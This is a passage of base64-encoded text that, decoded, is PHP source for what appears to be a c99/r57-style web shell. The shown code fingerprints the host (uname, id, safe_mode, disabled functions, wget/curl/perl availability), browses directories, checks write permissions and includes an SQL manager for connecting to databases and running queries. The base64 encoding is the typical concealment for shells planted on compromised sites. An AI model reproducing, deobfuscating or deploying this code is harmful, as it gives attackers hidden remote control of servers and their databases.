QoInVwbG9hZF90bXBfZGlyIik7DQogICAgaWYgKGlzX2RpcigkdG1wZGlyKSkgeyR0bXBkaXIgPSAiL3RtcC8iO30NCiAgfQ0KICAkdG1wZGlyID0gcmVhbHBhdGgoJHRtcGRpcik7DQogICR0bXBkaXIgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHRtcGRpcik7DQogIGlmIChzdWJzdHIoJHRtcGRpciwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR0bXBkaXIgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogIGlmIChlbXB0eSgkdG1wZGlyX2xvZ3MpKSB7JHRtcGRpcl9sb2dzID0gJHRtcGRpcjt9DQogIGVsc2UgeyR0bXBkaXJfbG9ncyA9IHJlYWxwYXRoKCR0bXBkaXJfbG9ncyk7fQ0KICBmdW5jdGlvbiBzaG93c3RhdCgkc3RhdCkgew0KICAgIGlmICgkc3RhdD09Im9uIikgeyByZXR1cm4gIjxmb250IGNvbG9yPSMwMEZGMDA+PGI+T048L2I+PC9mb250PiI7IH0NCiAgICBlbHNlIHsgcmV0dXJuICI8Zm9udCBjb2xvcj1yZWQ+PGI+T0ZGPC9iPjwvZm9udD4iOyB9DQogIH0NCiAgZnVuY3Rpb24gdGVzdHBlcmwoKSB7DQogICAgaWYgKGV4KCdwZXJsIC1oJykpIHsgcmV0dXJuIHNob3dzdGF0KCJvbiIpOyB9DQogICAgZWxzZSB7IHJldHVybiBzaG93c3RhdCgib2ZmIik7IH0NCiAgfQ0KICBmdW5jdGlvbiB0ZXN0ZmV0Y2goKSB7DQogICAgaWYoZXgoJ2ZldGNoIC0taGVscCcpKSB7IHJldHVybiBzaG93c3RhdCgib24iKTsgfQ0KICAgIGVsc2UgeyByZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9DQogIH0NCiAgZnVuY3Rpb24gdGVzdHdnZXQoKSB7DQogICAgaWYgKGV4KCd3Z2V0IC0taGVscCcpKSB7IHJldHVybiBzaG93c3RhdCgib24iKTsgfQ0KICAgIGVsc2UgeyByZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9DQogIH0NCiAgZnVuY3Rpb24gdGVzdG9yYWNsZSgpIHsNCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpKSB7IHJldHVybiBzaG93c3RhdCgib24iKTsgfQ0KICAgIGVsc2UgeyByZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9DQogIH0NCiAgZnVuY3Rpb24gdGVzdHBvc3RncmVzcWwoKSB7DQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKSB7IHJldHVybiBzaG93c3RhdCgib24iKTsgfQ0KICAgIGVsc2UgeyByZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9DQogIH0NCiAgZnVuY3Rpb24gdGVzdG1zc3FsKCkgew0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0NCiAgICBlbHNlIHsgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTsgfQ0KICB9DQogIGZ1bmN0aW9uIHRlc3RjdXJsKCkgew0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKSB7IHJldHVybiBzaG93c3RhdCgib24iKTsgfQ0KICAgIGVsc2UgeyByZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9DQogIH0NCiAgZnVuY3Rpb24gdGVzdG15c3FsKCkgew0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0NCiAgICBlbHNlIHsgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTsgfQ0KICB9DQogIGZ1bmN0aW9uIHNob3dkaXNhYmxlZnVuY3Rpb25zKCkgew0KICAgIGlmICgkZGlzYWJsZWZ1bmM9QGluaV9nZXQoImRpc2FibGVfZnVuY3Rpb25zIikpeyByZXR1cm4gIjxmb250IGNvbG9yPXJlZD48Yj4iLiRkaXNhYmxlZnVuYy4iPC9iPjwvZm9udD4iOyB9DQogICAgZWxzZSB7IHJldHVybiAiPGZvbnQgY29sb3I9IzAwRkYwMD48Yj5OT05FPC9iPjwvYj48L2ZvbnQ+IjsgfQ0KICB9DQogIGlmIChAaW5pX2dldCgic2FmZV9tb2RlIikgb3Igc3RydG9sb3dlcihAaW5pX2dldCgic2FmZV9tb2RlIikpID09ICJvbiIpIHsNCiAgICAkc2FmZW1vZGUgPSBUUlVFOw0KICAgICRoc2FmZW1vZGUgPSAiPGZvbnQgY29sb3I9IzMzNjZGRj48Yj5PTiAoU2VjdXJlKTwvYj48L2ZvbnQ+IjsNCiAgfQ0KICBlbHNlIHsNCiAgICAkc2FmZW1vZGUgPSBGQUxTRTsNCiAgICAkaHNhZmVtb2RlID0gIjxmb250IGNvbG9yPXJlZD48Yj5PRkYgKE5vdCBTZWN1cmUpPC9iPjwvZm9udD4iOw0KICB9DQogICR2ID0gQGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KICBpZiAoJHYgb3Igc3RydG9sb3dlcigkdikgPT0gIm9uIikgew0KICAgICRvcGVuYmFzZWRpciA9IFRSVUU7DQogICAgJGhvcGVuYmFzZWRpciA9ICI8Zm9udCBjb2xvcj1yZWQ+Ii4kdi4iPC9mb250PiI7DQogIH0NCiAgZWxzZSB7DQogICAgJG9wZW5iYXNlZGlyID0gRkFMU0U7DQogICAgJGhvcGVuYmFzZWRpciA9ICI8Zm9udCBjb2xvcj1ncmVlbj5PRkYgKG5vdCBzZWN1cmUpPC9mb250PiI7DQogIH0NCiAgICAgJHF1b3RlcyA9IGdldF9tYWdpY19xdW90ZXNfZ3BjKCk7DQppZiAoJHF1b3RlcyA9PSAiMSIgb3IgJHF1b3RlcyA9PSAib24iKQ0KICAgew0KICAgICAgICRxdW90ID0gIjxmb250IGNvbG9yPSdyZWQnPk9OPC9mb250PiI7DQogICB9DQogICBlbHNlDQogICB7DQogICAgICAgJHF1b3QgPSAiPGZvbnQgY29sb3I9J2dyZWVuJz5PRkY8L2ZvbnQ+IjsNCiAgIH0NCiAgJHNvcnQgPSBodG1sc3BlY2lhbGNoYXJzKCRzb3J0KTsNCiAgaWYgKGVtcHR5KCRzb3J0KSkgeyRzb3J0ID0gJHNvcnRfZGVmYXVsdDt9DQogICRzb3J0WzFdID0gc3RydG9sb3dlcigkc29ydFsxXSk7DQogICRESVNQX1NFUlZFUl9TT0ZUV0FSRSA9IGdldGVudigiU0VSVkVSX1NPRlRXQVJFIik7DQogIGlmICghZXJlZygiUEhQLyIucGhwdmVyc2lvbigpLCRESVNQX1NFUlZFUl9TT0ZUV0FSRSkpIHskRElTUF9TRVJWRVJfU09GVFdBUkUgLj0gIi4gUEhQLyIucGhwdmVyc2lvbigpO30NCiAgJERJU1BfU0VSVkVSX1NPRlRXQVJFID0gc3RyX3JlcGxhY2UoIlBIUC8iLnBocHZlcnNpb24oKSwiPGEgaHJlZj1cIiIuJHN1cmwuIng9cGhwaW5mb1wiIHRhcmdldD1cIl9ibGFua1wiPjxiPjx1PlBIUC8iLnBocHZlcnNpb24oKS4iPC91PjwvYj48L2E+IixodG1sc3BlY2lhbGNoYXJzKCRESVNQX1NFUlZFUl9TT0ZUV0FSRSkpOw0KICBAaW5pX3NldCgiaGlnaGxpZ2h0LmJnIiwkaGlnaGxpZ2h0X2JnKTsNCiAgQGluaV9zZXQoImhpZ2hsaWdodC5jb21tZW50IiwkaGlnaGxpZ2h0X2NvbW1lbnQpOw0KICBAaW5pX3NldCgiaGlnaGxpZ2h0LmRlZmF1bHQiLCRoaWdobGlnaHRfZGVmYXVsdCk7DQogIEBpbmlfc2V0KCJoaWdobGlnaHQuaHRtbCIsJGhpZ2hsaWdodF9odG1sKTsNCiAgQGluaV9zZXQoImhpZ2hsaWdodC5rZXl3b3JkIiwkaGlnaGxpZ2h0X2tleXdvcmQpOw0KICBAaW5pX3NldCgiaGlnaGxpZ2h0LnN0cmluZyIsJGhpZ2hsaWdodF9zdHJpbmcpOw0KICBpZiAoIWlzX2FycmF5KCRhY3Rib3gpKSB7ICRhY3Rib3ggPSBhcnJheSgpOyB9DQogICRkc3BhY3QgPSAkeCA9IGh0bWxzcGVjaWFsY2hhcnMoJHgpOw0KICAkZGlzcF9mdWxscGF0aCA9ICRsc19hcnIgPSAkbm90bHMgPSBudWxsOw0KICAkdWQgPSB1cmxlbmNvZGUoJGQpOw0KICAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogIGlmIChlbXB0eSgkZCkpIHskZCA9IHJlYWxwYXRoKCIuIik7fQ0KICBlbHNlaWYocmVhbHBhdGgoJGQpKSB7JGQgPSByZWFscGF0aCgkZCk7fQ0KICAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgJGQgPSBzdHJfcmVwbGFjZSgiXFxcXCIsIlxcIiwkZCk7DQogICRkaXNwZCA9IGh0bWxzcGVjaWFsY2hhcnMoJGQpOw0KZWNobyAkaHRtbF9zdGFydDsNCmVjaG8gIjx0YWJsZSBpZD1wYWdlYmFyPjx0cj48dGQgd2lkdGg9NTAlPjxwPiIuDQoJICJTb2Z0d2FyZSA6ICIuJERJU1BfU0VSVkVSX1NPRlRXQVJFIC4iIC0gPGEgaHJlZj0iLiRzdXJsLiJ4PXBocGluaT5waHAuaW5pPC9hPjxicj4iLg0KICAgICAiU2FmZSBNb2RlOiRoc2FmZW1vZGU8YnI+TWFnaWMgUXVvdGVzOiRxdW90PGJyPiIuDQogICAgICJVbmFtZSAtYSA6ICIucGhwX3VuYW1lKCkuIjxicj4iOw0KaWYgKCEkd2luKSB7IGVjaG8gImlkIDogIi5teXNoZWxsZXhlYygiaWQiKTsgfQ0KZWxzZSB7IGVjaG8gIlVzZXIgOiAiIC4gZ2V0X2N1cnJlbnRfdXNlcigpOyB9DQplY2hvICI8YnI+PC9wPiIuDQogICAgICI8cD5TZXJ2ZXIgSVAgOiA8YSBocmVmPWh0dHA6Ly93aG9pcy5kb21haW50b29scy5jb20vIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIj4iLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4iPC9hPiAtICIuDQogICAgICJZb3VyIElQIDogPGEgaHJlZj1odHRwOi8vd2hvaXMuZG9tYWludG9vbHMuY29tLyIuJF9TRVJWRVJbIlJFTU9URV9BRERSIl0uIj4iLiRfU0VSVkVSWyJSRU1PVEVfQUREUiJdLiI8L2E+IjsNCgkgZWNobyAiPGJyPjxwPiI7DQppZigkd2luKXtlY2hvICJEcml2ZXMgOiAiLmRpc3BfZHJpdmVzKCRkLCRzdXJsKS4iPC9wPjxwPiI7fQ0KZWNobyAiRnJlZXNwYWNlIDogIi5kaXNwX2ZyZWVzcGFjZSgkZCk7DQplY2hvICI8L3A+PHA+IjsNCmVjaG8gIk15U1FMOiAiLnRlc3RteXNxbCgpLiIgTVNTUUw6ICIudGVzdG1zc3FsKCkuIiBPcmFjbGU6ICIudGVzdG9yYWNsZSgpLiIgTVNTUUw6ICIudGVzdG1zc3FsKCkuIiBQb3N0Z3JlU1FMOiAiLnRlc3Rwb3N0Z3Jlc3FsKCkuDQogICAgICIgY1VSTDogIi50ZXN0Y3VybCgpLiIgV0dldDogIi50ZXN0d2dldCgpLiIgRmV0Y2g6ICIudGVzdGZldGNoKCkuIiBQZXJsOiAiLnRlc3RwZXJsKCkuIjxicj4iOw0KZWNobyAiRGlzYWJsZWQgRnVuY3Rpb25zOiAiLnNob3dkaXNhYmxlZnVuY3Rpb25zKCk7DQplY2hvICI8L3A+PC90ZD48L3RyPiI7DQplY2hvICI8dHI+PHRkIGNvbHNwYW49MiBpZD1tYWlubWVudT4iOw0KaWYgKGNvdW50KCRxdWlja2xhdW5jaDIpID4gMCkgew0KICBmb3JlYWNoKCRxdWlja2xhdW5jaDIgYXMgJGl0ZW0pIHsNCiAgICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlZCIsdXJsZW5jb2RlKCRkKSwkaXRlbVsxXSk7DQogICAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJXNvcnQiLCRzb3J0LCRpdGVtWzFdKTsNCiAgICAkdiA9IHJlYWxwYXRoKCRkLiIuLiIpOw0KICAgIGlmIChlbXB0eSgkdikpIHsNCiAgICAgICRhID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsNCiAgICAgIHVuc2V0KCRhW2NvdW50KCRhKS0yXSk7DQogICAgICAkdiA9IGpvaW4oRElSRUNUT1JZX1NFUEFSQVRPUiwkYSk7DQogICAgfQ0KICAgICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiV1cGQiLHVybGVuY29kZSgkdiksJGl0ZW1bMV0pOw0KICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRpdGVtWzFdLiJcIj4iLiRpdGVtWzBdLiI8L2E+XG4iOw0KICB9DQp9DQplY2hvICI8L3RkPjx0cj48dGQgY29sc3Bhbj0yIGlkPW1haW5tZW51PiI7DQppZiAoY291bnQoJHF1aWNrbGF1bmNoMSkgPiAwKSB7DQogIGZvcmVhY2goJHF1aWNrbGF1bmNoMSBhcyAkaXRlbSkgew0KICAgICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiVkIix1cmxlbmNvZGUoJGQpLCRpdGVtWzFdKTsNCiAgICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlc29ydCIsJHNvcnQsJGl0ZW1bMV0pOw0KICAgICR2ID0gcmVhbHBhdGgoJGQuIi4uIik7DQogICAgaWYgKGVtcHR5KCR2KSkgew0KICAgICAgJGEgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KICAgICAgdW5zZXQoJGFbY291bnQoJGEpLTJdKTsNCiAgICAgICR2ID0gam9pbihESVJFQ1RPUllfU0VQQVJBVE9SLCRhKTsNCiAgICB9DQogICAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJXVwZCIsdXJsZW5jb2RlKCR2KSwkaXRlbVsxXSk7DQogICAgZWNobyAiPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT5cbiI7DQogIH0NCn0NCmVjaG8gIjwvdGQ+PHRyPjx0ZCBjb2xzcGFuPTIgaWQ9bWFpbm1lbnU+IjsNCmlmIChjb3VudCgkcXVpY2tsYXVuY2gzKSA+IDApIHsNCiAgZm9yZWFjaCgkcXVpY2tsYXVuY2gzIGFzICRpdGVtKSB7DQogICAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJWQiLHVybGVuY29kZSgkZCksJGl0ZW1bMV0pOw0KICAgICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiVzb3J0Iiwkc29ydCwkaXRlbVsxXSk7DQogICAgJHYgPSByZWFscGF0aCgkZC4iLi4iKTsNCiAgICBpZiAoZW1wdHkoJHYpKSB7DQogICAgICAkYSA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogICAgICB1bnNldCgkYVtjb3VudCgkYSktMl0pOw0KICAgICAgJHYgPSBqb2luKERJUkVDVE9SWV9TRVBBUkFUT1IsJGEpOw0KICAgIH0NCiAgICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIldXBkIix1cmxlbmNvZGUoJHYpLCRpdGVtWzFdKTsNCiAgICBlY2hvICI8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+Ii4kaXRlbVswXS4iPC9hPlxuIjsNCiAgfQ0KfQ0KZWNobyAiPC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0yPiI7DQplY2hvICI8cCBjbGFzcz1mbGVmdD4iOw0KJHBkID0gJGUgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1Isc3Vic3RyKCRkLDAsLTEpKTsNCiRpID0gMDsNCmZvcmVhY2goJHBkIGFzICRiKSB7DQogICR0ID0gIiI7ICRqID0gMDsNCiAgZm9yZWFjaCAoJGUgYXMgJHIpIHsNCiAgICAkdC49ICRyLkRJUkVDVE9SWV9TRVBBUkFUT1I7DQogICAgaWYgKCRqID09ICRpKSB7IGJyZWFrOyB9DQogICAgJGorKzsNCiAgfQ0KICBlY2hvICI8YSBocmVmPVwiIi4kc3VybC4ieD1scyZkPSIudXJsZW5jb2RlKCR0KS4iJnNvcnQ9Ii4kc29ydC4iXCI+PGZvbnQgY29sb3I9cmVkPiIuaHRtbHNwZWNpYWxjaGFycygkYikuRElSRUNUT1JZX1NFUEFSQVRPUi4iPC9mb250PjwvYT4iOw0KICAkaSsrOw0KfQ0KZWNobyAiIC0gIjsNCmlmIChpc193cml0YWJsZSgkZCkpIHsNCiAgJHdkID0gVFJVRTsNCiAgJHdkdCA9ICI8Zm9udCBjb2xvcj0jMDBGRjAwPltPS108L2ZvbnQ+IjsNCiAgZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkZCkpLiI8L2ZvbnQ+PC9iPiI7DQp9DQplbHNlIHsNCiAgJHdkID0gRkFMU0U7DQogICR3ZHQgPSAiPGZvbnQgY29sb3I9cmVkPltSZWFkLU9ubHldPC9mb250PiI7DQogIGVjaG8gIjxiPiIudmlld19wZXJtc19jb2xvcigkZCkuIjwvYj4iOw0KfQ0KPz4NCg0KPC9wPg0KPGJyIC8+DQo8Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0ibHMiPg0KRGlyZWN0b3J5OiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZCIgc2l6ZT0iNTAiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkdvIj4NCjwvZm9ybT4NCjwvdGQ+PC90cj48L3RhYmxlPg0KPD9waHANCmVjaG8gIjx0YWJsZSBpZD1tYWluaW5mbz48dHI+PHRkIHdpZHRoPVwiMTAwJVwiPlxuIjsNCmlmICgkeCA9PSAiIikgeyAkeCA9ICRkc3BhY3QgPSAibHMiOyB9DQppZiAoJHggPT0gInBocGluaSIgKSB7IGdldF9waHBpbmkoKTsgfQ0KaWYgKCR4ID09ICJzcWwiKSB7DQogICRzcWxfc3VybCA9ICRzdXJsLiJ4PXNxbCI7DQogIGlmICgkc3FsX2xvZ2luKSAgeyRzcWxfc3VybCAuPSAiJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7fQ0KICBpZiAoJHNxbF9wYXNzd2QpIHskc3FsX3N1cmwgLj0gIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7fQ0KICBpZiAoJHNxbF9zZXJ2ZXIpIHskc3FsX3N1cmwgLj0gIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7fQ0KICBpZiAoJHNxbF9wb3J0KSAgIHskc3FsX3N1cmwgLj0gIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTt9DQogIGlmICgkc3FsX2RiKSAgICAgeyRzcWxfc3VybCAuPSAiJnNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYik7fQ0KICAkc3FsX3N1cmwgLj0gIiYiOw0KICBlY2hvICI8dGFibGU+Ii4NCiAgICAgICAiPHRyPjx0ZCB3aWR0aD1cIjEwMCVcIiBjb2xzcGFuPTIgY2xhc3M9YmFyaGVhZGVyPiI7DQogIGlmICgkc3FsX3NlcnZlcikgew0KICAgICRzcWxfc29jayA9IG15c3FsX2Nvbm5lY3QoJHNxbF9zZXJ2ZXIuIjoiLiRzcWxfcG9ydCwgJHNxbF9sb2dpbiwgJHNxbF9wYXNzd2QpOw0KICAgICRlcnIgPSBteXNxbF9zbWFydGVycm9yKCk7DQogICAgQG15c3FsX3NlbGVjdF9kYigkc3FsX2RiLCRzcWxfc29jayk7DQogICAgaWYgKCRzcWxfcXVlcnkgYW5kICRzdWJtaXQpIHskc3FsX3F1ZXJ5X3Jlc3VsdCA9IG15c3FsX3F1ZXJ5KCRzcWxfcXVlcnksJHNxbF9zb2NrKTsgJHNxbF9xdWVyeV9lcnJvciA9IG15c3FsX3NtYXJ0ZXJyb3IoKTt9DQogIH0NCiAgZWxzZSB7JHNxbF9zb2NrID0gRkFMU0U7fQ0KICBlY2hvICIuOiBTUUwgTWFuYWdlciA6Ljxicj4iOw0KICBpZiAoISRzcWxfc29jaykgew0KICAgIGlmICghJHNxbF9zZXJ2ZXIpIHtlY2hvICJOTyBDT05ORUNUSU9OIjt9DQogICAgZWxzZSB7ZWNobyAiQ2FuJ3QgY29ubmVjdCEgIi4kZXJyO30NCiAgfQ0KICBlbHNlIHsNCiAgICAkc3FscXVpY2tsYXVuY2ggPSBhcnJheSgpOw0KICAgICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIkluZGV4Iiwkc3VybC4ieD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImIik7DQogICAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiUXVlcnkiLCRzcWxfc3VybC4ic3FsX3g9cXVlcnkmc3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkpOw0KICAgICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlNlcnZlci1zdGF0dXMiLCRzdXJsLiJ4PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfeD1zZXJ2ZXJzdGF0dXMiKTsNCiAgICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJTZXJ2ZXIgdmFyaWFibGVzIiwkc3VybC4ieD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImc3FsX3g9c2VydmVydmFycyIpOw0KICAgICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlByb2Nlc3NlcyIsJHN1cmwuIng9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJnNxbF94PXByb2Nlc3NlcyIpOw0KICAgICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIkxvZ291dCIsJHN1cmwuIng9c3FsIik7DQogICAgZWNobyAiTXlTUUwgIi5teXNxbF9nZXRfc2VydmVyX2luZm8oKS4iIChwcm90byB2LiIubXlzcWxfZ2V0X3Byb3RvX2luZm8gKCkuIikgcnVubmluZyBpbiAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiI6Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiBhcyAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIkAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiIgKHBhc3N3b3JkIC0gXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIik8YnI+IjsNCiAgICBpZiAoY291bnQoJHNxbHF1aWNrbGF1bmNoKSA+IDApIHtmb3JlYWNoKCRzcWxxdWlja2xhdW5jaCBhcyAkaXRlbSkge2VjaG8gIlsgPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4gXSAiO319DQogIH0NCiAgZWNobyAiPC90ZD48L3RyPjx0cj4iOw0KICBpZiAoISRzcWxfc29jaykgew0KICAgIGVjaG8gIjx0ZCB3aWR0aD1cIjI4JVwiIGhlaWdodD1cIjEwMFwiIHZhbGlnbj1cInRvcFwiPjxsaT5JZiBsb2dpbiBpcyBudWxsLCBsb2dpbiBpcyBvd25lciBvZiBwcm9jZXNzLjxsaT5JZiBob3N0IGlzIG51bGwsIGhvc3QgaXMgbG9jYWxob3N0PC9iPjxsaT5JZiBwb3J0IGlzIG51bGwsIHBvcnQgaXMgMzMwNiAoZGVmYXVsdCk8L3RkPjx0ZCB3aWR0aD1cIjkwJVwiIGhlaWdodD0xIHZhbGlnbj1cInRvcFwiPiI7DQogICAgZWNobyAiPHRhYmxlIHdpZHRoPVwiMTAwJVwiIGJvcmRlcj0wPjx0cj48dGQ+PGI+UGxlYXNlLCBmaWxsIHRoZSBmb3JtOjwvYj48dGFibGU+PHRyPjx0ZD48Yj5Vc2VybmFtZTwvYj48L3RkPjx0ZD48Yj5QYXNzd29yZDwvYj48L3RkPjx0ZD48Yj5EYXRhYmFzZTwvYj48L3RkPjwvdHI+PGZvcm0gYWN0aW9uPVwiICRzdXJsIFwiIG1ldGhvZD1cIlBPU1RcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ4XCIgdmFsdWU9XCJzcWxcIj48dHI+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfbG9naW5cIiB2YWx1ZT1cInJvb3RcIiBtYXhsZW5ndGg9XCI2NFwiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwicGFzc3dvcmRcIiBuYW1lPVwic3FsX3Bhc3N3ZFwiIHZhbHVlPVwiXCIgbWF4bGVuZ3RoPVwiNjRcIj48L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCJcIiBtYXhsZW5ndGg9XCI2NFwiPjwvdGQ+PC90cj48dHI+PHRkPjxiPkhvc3Q8L2I+PC90ZD48dGQ+PGI+UE9SVDwvYj48L3RkPjwvdHI+PHRyPjx0ZCBhbGlnbj1yaWdodD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3NlcnZlclwiIHZhbHVlPVwibG9jYWxob3N0XCIgbWF4bGVuZ3RoPVwiNjRcIj48L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3BvcnRcIiB2YWx1ZT1cIjMzMDZcIiBtYXhsZW5ndGg9XCI2XCIgc2l6ZT1cIjNcIj48L3RkPjx0ZD48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29ubmVjdFwiPjwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L3RkPiI7DQogIH0NCiAgZWxzZSB7DQogICAgaWYgKCFlbXB0eSgkc3FsX2RiKSkgew0KICAgICAgPz48dGQgd2lkdGg9IjI1JSIgaGVpZ2h0PSIxMDAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iPD9waHAgZWNobyAkc3VybC4ieD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImIjsgPz4iPjxiPkhvbWU8L2I+PC9hPjxociBzaXplPSIxIiBub3NoYWRlPg0KDQogICAgICA8P3BocA0KICAgICAgJHJlc3VsdCA9IG15c3FsX2xpc3RfdGFibGVzKCRzcWxfZGIpOw0KICAgICAgaWYgKCEkcmVzdWx0KSB7ZWNobyBteXNxbF9zbWFydGVycm9yKCk7fQ0KICAgICAgZWxzZSB7DQo